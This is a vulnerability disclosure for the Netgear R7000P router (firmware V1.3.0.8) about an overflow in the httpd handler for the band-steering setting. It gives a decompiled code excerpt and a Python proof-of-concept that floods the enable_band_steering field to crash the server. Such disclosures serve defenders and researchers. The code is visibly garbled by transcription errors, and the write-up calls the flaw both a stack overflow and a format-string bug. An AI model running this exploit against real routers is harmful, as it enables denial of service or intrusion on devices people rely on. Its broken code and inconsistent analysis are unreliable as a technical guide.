

adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

- 1. product information: https://www.netgear.com
- 2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8_1.0.93.zip

Affected version

V1.3.0.8

Vulnerability

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the sub_5462C function, which can be accessed via the URL http://routerlogin.net/WLG_wireless_dual_band_r10.htm.

```
988
       acosNvramConfig_set("wl_wps_config_state", "1");
       acosNvramConfig_set("wl0_wps_config_state", "1");
acosNvramConfig_set("wl1_wps_config_state", "1");
v88 = acosNvramConfig_set("lan_wps_oob", "disabled");
899
900
901
902
       sub 545E4(v88);
903
       acosNyramConfig set("fixed region". "1"):
904
      sub_19090(a1, "enable_band_steering", v99, 2048);
905
       if ( V99[0] )
  906
         907
908
         acosNvramConfig_set("enable_band_steering", "1");
909
         acosNvramConfig_set("enable_smart_mesh", "0");
910
         v89 = 0;
  911
  912
      else
  913
         printf("%s %s %d enable band steering = %s\n", "wirelessCgiMain", "cgi/wlgCgi.c", 2439, v99); Vuln2
914
         acosNvramConfig_set("enable_band_steering", "0");
915
916
         v89 = 1;
  917
918
       v90 = sync_band_steering_settings(v89);
919
       acosNvramConfig_save(v90);
920
       if ( v26 | v24 )
  921
922
         sub_336F8(&unk_FE0E2, a2);
923
         sub_303AC(1);
924
         return 0;
  925
```

Parameter enable_band_steering, is controllable and will be formatted by printf for the print output. Users can control formatting instructions, and attackers can use this capability to expose or overwrite memory values and compromise program security.

PoC

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF INET, socket.SOCK STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'enable_band_steering=' + p1 # payload
p3 = b"POST /WLG_wireless_dual_band_r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```



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